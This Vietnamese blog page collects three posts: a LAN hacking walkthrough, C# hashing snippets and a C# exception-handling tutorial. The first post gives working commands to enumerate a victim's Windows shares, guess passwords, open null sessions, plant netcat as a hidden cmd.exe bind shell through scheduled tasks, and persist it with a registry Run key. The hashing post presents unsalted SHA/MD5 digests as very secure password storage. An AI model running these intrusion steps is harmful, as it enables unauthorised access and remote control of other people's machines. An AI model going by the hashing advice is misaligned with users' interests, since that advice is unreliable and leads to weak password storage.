Thứ Sáu

Hack tài nguyên chia sẻ trong mạng LAN

Hacker có thể dùng các tool hack tự động ví dụ như : ent3,legion… ( nhưng bản chất của các công cụ này là thưc hiện các bước mà tôi sẽ nói dưới đây 1 cách tự động,chính vì vậy việc dùng các tool này là một cách khá củ chuối …)
Trước tiên Hacker sẽ kiểm tra nhưng tài nguyên được chia sẻ trên máy tính của bạn.
Chỉ bằng vài dòng lệnh đơn giản trên comand line:
CODE
[C:\>Net view \\x.x.x.x ( với x.x.x.x là địa chỉ IP của bạn mà hacker đã biết )
Shared resources at \\x.x.x.x
Share name Type Used as Comment
-------------------------------------------------------------------------------
C Disk
PRJA3 Disk
The command completed successfully.
C:\>
Với Windows 95 & 98 thì khả năng bị hack Cao hơn nhiều so với Windows NT,2000,XP ( vì win 95,98 dùng định dạng FAT&FAT32 có độ bảo mật thấp hơn nhiều so với NTFS)
Đối với hai loại Windows này (95,98) Hacker thậm chí không cần lấy Administrator cũng có thể làm được tất cả ( bạn có tin không ?).
Khuyến cáo : không nên dùng 2 loại win này vì quá lỗi thời và có thể bị hack bất cứ lúc nào.
Sau khi liệt kê các Ổ đĩa,folder share bước tiếp theo của hacker là phải truy cập vào các ổ đĩa,folder đó để lấy dữ liệu (đây cũng là mục đích của hacker).Hacker sẽ ánh sạ ổ đĩa ,thư mục share để truy cập vào.
Cũng bằng command line:
CODE
C:\> net use z: \\x.x.x.x \share
The command completed successfully
.
Chẳng lẽ hack đơn gian vậy sao ? Không , không hề đơn giản như thế bởi vì máy của victim có đặt password ( viêc ánh sạ cần phải biết username & password ).Thế là Hacker pó tay ? không hacker không bao giờ chịu pó tay,hacker sẽ cố gắng lấy username & password
Lấy Username :
CODE
C :\> Nbtstat –A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
ADMIN <00> UNIQUE Registered
BODY <00> GROUP Registered
ADMIN f <20> UNIQUE Registered
BODY <1E> GROUP Registered
BODY <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
MAC Address = 00-08-A1-5B-E3-8C
Vậy máy x.x.x.x sẽ có 2 username là : ADMIN va BODY
Khi đã có username hacker sẽ tiến hành Crack password ( dựa vào các tool như : pqwak,xIntruder) Hoặc Hacker sẽ tiến hành tạo ra một từ điển ( dựa vào khả năng phán đoán của hacker ) tên là : pass.txt
CODE
“” ADMIN
123456 ADMIN
123456 BODY
“” BODY
Sau đó hacker crack bằng lệnh
Cũng có thể tạo Userlist.txt và passlist.txt rồi dùng lệnh:
CODE
C:\> FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I>>output.txt
Đối với Win 2000,XP hacker sẽ không là gì nếu không phải administrator chính vì vậy hacker bằng mọi giá sẽ lấy cho được administrator.
nếu lấy được admin thì việc còn lại thì chờ hacker định đoạt.
Khuyến cáo : không nên share gì hết ( trong trường hợp buộc phải share thì nên đặt password phức tạp 1 chút )
Giả sử rằng máy của Victim không share. Vậy hacker làm sao ?
Trong trường hợp này hacker sẽ đoán user & pass (có thể dùng cách ở trên hoặc dung các tool như: user2sid/sid2user,dumpACL,SMBGrind……) sau đó kết nối tới IPC$ ( mặc định share của windows)
CODE
C:\> net use \\x.x.x.x\IPC$ “password” /user:”administrator”
The command completed successfully.
Trong trường hợp không thê đoán Đươc user & pass hacker có thể thiết lập một Null session tới máy victim:
CODE
C:\> net use \\x.x.x.x\IPC$ “” /user:””
The command completed successfully
Và rồi nếu victim permission không đúng sẽ có nhưng hậu quả khôn lường.
khuyến cáo : Vô hiệu hoá NetBios ( Bấm vào My Network Places chọn Local Area Connetion, chọn TCP/ IP sau đó bấm vào propperties chọn Advandce, chọn WINS và bấm vào Disable NetBIOS over TCP / IP), Dùng firewall chặn 1 số port không cần thiết , khoá tài khoản sau 1 số lần đăng nhập thất bại .
Tiện đây cũng nói thêm về điều khiển từ xa ( vì có nhiều bạn đột nhập được vào rùi mà không biết phải làm sao )
Giả sử rằng bạn đã có username,password của admin của máy victim rồi:
giờ thiết lập 1 phiên làm viêc:
CODE
C:\> net use \\x.x.x.x\IPC$ “password” /user:”administrator”
The command completed successfully.
Sau đó ta cần copy backdoor để điều khiển máy victim có rất nhiều loại backdoor nhưng tôi thấy hơn cả vẫn là : netcat ( nc)
chép nc vào máy victim
CODE
C
:\>copy nc.exe 
\\x.x.x.x\ADMIN$\nc.exe
The command completed successfully.
1 file copies
Chạy service Schedule trên máy victim ( có service này mới thực thi đ ươc các file trên máy victim, mặc đinh khi cài win sẽ chạy service này)
CODE
C:\> sc \\x.x.x.x start schedule
service_name : schedule
Bây giờ kiểm tra giờ trên máy victim
CODE
C:\> net time \\x.x.x.x
Current time at \\10.0.0.31 is 6/29/2005 4:50 AM
The command completed successfully.
Bây giờ chạy netcat ở chế độ ẩn lắng nghe cổng 111:
CODE
C:\>AT \\x.x.x.x 4:55 /interactive “c:\windows\nc.exe” –L –d –p111 –e cmd.exe
Added a new job with job ID = 1
đợi đến 4:55 rồi chạy thử nc.exe
CODE
C:\>nc –nvv x.x.x.x 111
(UNKNOWN) [x.x.x.x] 111 (?) open
Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.
C:\windows>
Bây giờ làm gì thì tuỳ nha ( nhưng đừng có phá hoại người ta nhe’)
Vấn đề là làm sao cho những lần sau victim bật máy tính lên netcat tự động chạy và lắng nghe mệnh lệnh của ta?
Bạn có thể cho netcat khởi động cùng windows. "moi" file netcat.reg (dùng notepad và save lại thành .reg) có nội dung như sau:
CODE
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"netcat"="\"C:\\nc\\nc.exe\" -L -d -p111 -e cmd.exe"
Sau đó copy sang máy victim và chạy nha!

Tạo mã bâm một chiều

Tạo mã bâm là cách tạo mã một chiều(Hash), nhận một giá trị đầu vào và chuyển nó thành một giá trị khác. Các giá trị này sau khi tạo ra không thể chuyển được về giá trị nguồn. Giải thuật tạo mã bâm có đặc điểm sau:
- Các giá trị vào khác nhau, nhưng có cùng thuật toán bâm sẻ tạo ra giá trị có cùng kích thước.
- Các giá trị vào giống nhau, nhưng có thuật toán bâm khác nhau sẻ tạo ra giá trị có kích thước khác nhau.
- Giá trị tạo ra sẻ phức tạp như nhau dù giá trị đầu vào đơn giản đến đâu(một khoảng trắng, một kí tự…).
Ứng dụng phổ biến tạo mã bâm là dùng trong quản lý mật khẩu của tài khoản. Mật khẩu sẻ được tạo mã bâm và lưu vào DB, khi người dùng đăng nhập thì mật khẩu sẻ được tạo mã bâm và so sánh vơi mã bâm lưu dưới DB. Trong trường hợp này dù là người quản trị cũng không biết được mật khẩu của người dùng. Do đó tài khoản được tạo mã bâm có bảo mật rất cao. Sau đây là một số đoạn code tạo mã bâm đơn giản.
Tạo mã bâm bằng thuật toán SHA1
 public string EncodeToSHA1(string value)
   {
       UnicodeEncoding uEncode = new UnicodeEncoding();
       byte[] byteValue = uEncode.GetBytes(value);
       SHA1CryptoServiceProvider sha1 = new SHA1CryptoServiceProvider();
       byte[] hash = sha1.ComputeHash(byteValue);
       return Convert.ToBase64String(hash);
   }
Tạo mã bâm bằng thuật toán SHA256
public string EncodeToSHA256(string value)
   {
       UnicodeEncoding uEncode = new UnicodeEncoding();
       byte[] byteValue = uEncode.GetBytes(value);
       SHA256CryptoServiceProvider sha1 = new SHA256CryptoServiceProvider();
       byte[] hash = sha1.ComputeHash(byteValue);
       return Convert.ToBase64String(hash);
   }
Tạo mã bâm bằng thuật toán SHA384
public string EncodeToSHA384(string value)
   {
       UnicodeEncoding uEncode = new UnicodeEncoding();
       byte[] byteValue = uEncode.GetBytes(value);
       SHA384CryptoServiceProvider sha1 = new SHA384CryptoServiceProvider();
       byte[] hash = sha1.ComputeHash(byteValue);
       return Convert.ToBase64String(hash);
   }
Tạo mã bâm bằng thuật toán SHA512
  public string EncodeToSha512(string value)
   {
       UnicodeEncoding uEncode = new UnicodeEncoding();
       byte[] byteValue = uEncode.GetBytes(value);
       SHA512CryptoServiceProvider sha1 = new SHA512CryptoServiceProvider();
       byte[] hash = sha1.ComputeHash(byteValue);
       return Convert.ToBase64String(hash);
   }
Tạo mã bâm bằng thuật toán MD5
  public string EncodeToMD5(string value)
    {
       UnicodeEncoding uEncode = new UnicodeEncoding();
       byte[] byteValue = uEncode.GetBytes(value);
       MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();
       byte[] hash = md5.ComputeHash(byteValue);
       return Convert.ToBase64String(hash);
   }
Mặc dù các thuật toán tạo mã bâm này mang tính bảo mật rất cao và không thể giải mã được. Nhưng trên thực tế thuật toán SHA1 đã được giải mã bởi một nhóm nhà nghiên cứu tại một trường ĐH ở Quản Đông- Trung Quốc.

Xử lý ngoại lệ C#

Một trình xử lý ngoại lệ:
Là một khối lệnh chương trình được thiết kế xử lý các ngoại lệ mà chương trình phát sinh. 


Xử lý ngoại lệ được thực thi trong trong câu lệnh catch. Một cách lý tưởng thì nếu một ngoại lệ được bắt và được xử lý, thì chương trình có thể sửa chữa được vấn đề và tiếp tục thực hiện hoạt động. Thậm chí nếu chương trình không tiếp tục, bằng việc bắt giữ ngoại lệ chúng ta có cơ hội để in ra những thông điệp có ý nghĩa và kết thúc chương trình một cách rõ ràng. Nếu đoạn chương trình của chúng ta thực hiện mà không quan tâm đến bất cứ ngoại lệ nào mà chúng ta có thể gặp (như khi giải phóng tài nguyên mà chương trình được cấp phát), chúng ta có thể đặt đoạn mã này trong khối finally, khi đó nó sẽ chắc chắn sẽ được thực hiện thậm chí ngay cả khi có một ngoại lệ xuất hiện.


Phát sinh và bắt giữ ngoại lệ

Trong ngôn ngữ C#, chúng ta chỉ có thể phát sinh (throw) những đối tượng các kiểu dữ
liệu   là  System.Exception,   hay   những   đối   tượng   được   dẫn   xuất   từ   kiểu   dữ   liệu   này.
Namespace System của CLR chứa một số các kiểu dữ liệu xử lý ngoại lệ mà chúng ta có thể sử dụng  trong  chương  trình.  Những kiểu dữ  liệu ngoại   lệ  này bao gồm  ArgumentNull-Exception, InValidCastException, và OverflowException, cũng như nhiều lớp khác nữa.
2.      Lệnh Throw

Cú pháp: throw  new System.Exception();
Khi phát sinh ngoại lệ thì ngay tức khắc sẽ làm ngừng việc thực thi trong khi CLR sẽ tìm
kiếm một   trình xử  lý ngoại   lệ.  Nếu một   trình xử  lý ngoại   lệ không được  tìm  thấy  trong phương thức hiện thời, thì CLR tiếp tục tìm trong phương thức gọi cho đến khi nào tìm thấy. Nếu CLR trả về lớp Main() mà không tìm thấy bất cứ trình xử lý ngoại lệ nào, thì nó sẽ kết thúc chương trình.

Ví dụ:
using System;
using System.Collections.Generic;
using System.Text;

namespace  Programming_CSharp
{
    public  class Test
    {
        public static void Main()
        {
            Console.WriteLine("hàm Main....");
            Test  t = new Test();
            t.Func1();
            Console.WriteLine("Kết thúc hàm Main...");
        }
        public void Func1()
        {
            Console.WriteLine("Bắt đầu hàm Func1...");
            Func2();
            Console.WriteLine("Kết thúc hàm  Func1...");
        }
        public void Func2()
        {
            Console.WriteLine("Bắt đầu hàm  Func2...");
            throw  new  System.Exception();
            Console.WriteLine("Kết thúc hàm  Func2...");
        }
    }
}


Giải thích ví dụ trên như sau: Hàm Main() gọi hàm Func1(). Hàm Func1() thực hiện lệnh in ra màn hình dòng “bắt đầu hàm Func1” sau đó nó gọi tới hàm Func2(). Hàm Func2() lại in ra dòng “bắt đầu hàm Func2” sau đó nó sẽ phát sinh ra một ngoại lệ dùng câu lệnh throw  new  System.Exception(). Tại đây chương trình bị ngừng thực thi, CLR sẽ tìm kiếm trình xử lý ngoại lệ cho ngoại lệ  hàm Func2() phát sinh. CLR sẽ lần lượt tìm kiếm trong stack , ở hàm Func1() nhưng không có trình xử lý ngoại lệ nào, nó sẽ tiếp tục tìm đến hàm main nhưng ở hàm này cũng không có nên CLR sẽ gọi trình xử lý ngoại lệ mặc định, nó sẽ xuất ra một thông điệp lỗi như các bạn thấy khi thực thi chương trình.

3.      Lệnh Try Catch

Trong C#, một trình xử lý ngoại lệ hay một đoạn chương trình xử lý các ngoại lệ được gọi là một khối catch và được tạo ra với từ khóa catch.

Chúng ta sẽ viết lại ví dụ trên nhưng đặt throw vào trong khối try và một khối catch sẽ dùng để xử lý ngoại lệ do lệnh throw phát sinh. Khối catch sẽ đưa ra thông báo là đã có một lỗi được xử lý.

using System;
using System.Collections.Generic;
using System.Text;

namespace  Programming_CSharp
{
    public  class Test
    {
        public static void Main()
        {
            Console.WriteLine("hàm Main....");
            Test  t = new Test();
            t.Func1();
            Console.WriteLine("Kết thúc hàm Main...");
            Console.ReadLine();
        }
        public void Func1()
        {
            Console.WriteLine("Bắt đầu hàm Func1...");
            Func2();
            Console.WriteLine("Kết thúc hàm  Func1...");
        }
        public void Func2()
        {
            Console.WriteLine("Bắt đầu hàm  Func2...");
            try
            {
                Console.WriteLine("Bắt đầu Khối try");
                    throw  new System.Exception();
                    Console.WriteLine("Kết thúc khối try");
            }           
            catch
            {
                Console.WriteLine("Ngoại lệ đã được xử lý");
            }
            Console.WriteLine("Kết thúc hàm Func2...");
        }     
    }
}

Tương tự như ví dụ tôi đã vừa trình bày, cho đến khi chương trình thực hiện hàm Func2() khi lệnh throw phát sinh ra ngoại lệ, chương trình sẽ bị ngừng thực hiện và CLR sẽ tìm phần xử lý ngoại lệ trong stack, đầu tiên nó sẽ gọi đến hàm Func1() tại đây hàm Func2() được gọi và nó sẽ tìm thấy phần xử lý ngoại lệ trong khối catch ,  nó sẽ in ra dòng “Ngoại lệ đã được xử lý”. Đó cũng là lý do mà chương trình sẽ không bao giờ in ra dòng “Kết thúc khối try”.

4.      Lệnh Finally
     
Trong một số tình huống chúng ta cần phải thực hiện bất cứ khi nào một ngoại lệ được phát sinh ra, ví dụ như việc đóng một tập tin. Để làm việc này chúng ta có thể đặt câu lệnh trong cả hai khối try và catch. Tuy nhiên có một cách giải quyết tốt hơn, đó là sử dụng câu lệnh Finnally.
Các hành động đặt trong khối finnally sẽ luôn được thực hiện mà không cần quan tâm tới việc có hay không một ngoại lệ phát sinh trong chương trình.

Chúng ta cùng xét ví dụ sau:

using System;
namespace  Programming_CSharp
{

    public class Test
    {
        public static void Main()
        {
            Test  t = new  Test();
            t.TestFunc();
            Console.ReadLine();
        }
        // chia hai số và xử lý ngoại lệ nếu có
        public void TestFunc()
        {
            try               
            {
                Console.WriteLine("mở file");
                double  a = 5;
                double  b = 0;
                Console.WriteLine("{0} /{1} = {2}", a, b, DoDivide(a,b));
                Console.WriteLine("dòng này có thể xuất hiện hoặc không");
            }
            catch (System.DivideByZeroException)
            {
                Console.WriteLine("lỗi chia cho 0!");
            }
            catch
            {
                Console.WriteLine("không có ngoại lệ");
            }
            finally
            {
                Console.WriteLine("Đóng tệp.");
            }
        }
        // thực hiện chia nếu hợp lệ
        public double DoDivide(double a, double b)
        {
            if ( b == 0)
            {
                throw new System.DivideByZeroException();
            }
            if ( a == 0)
            {
                throw new System.ArithmeticException();
            }
            return a/b;
        }
    }
}

Đầu tiên hãy gán a= 5 và b=0 chạy chương trình Bạn sẽ thấy lệnh Console.WriteLine("dòng này có thể xuất hiện hoặc không");
Sẽ không được thực hiện do xuất hiện một ngoại lệ là lỗi chia cho 0 và chương trình sẽ tìm tới phần xử lý ngoại lệ này
mà bỏ qua phần lệnh tiếp theo.



Sau đó bạn thay đổi giá trị b=12 và chạy chương trình thì lệnh

Console.WriteLine("dòng này có thể xuất hiện hoặc không"); được thực hiện.

Tuy nhiên ở cả 2 trường hợp bạn đề thấy thực hiện lệnh    Console.WriteLine("Đóng tệp.");

Đó là vì lệnh này đã được đặt trong khối Finally.

Nắm được cách xử lý ngoại lệ qua việc sử dụng các câu lệnh throw, catch và finally sẽ giúp bạn lập trình có hiệu quả hơn.

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Blogger Templates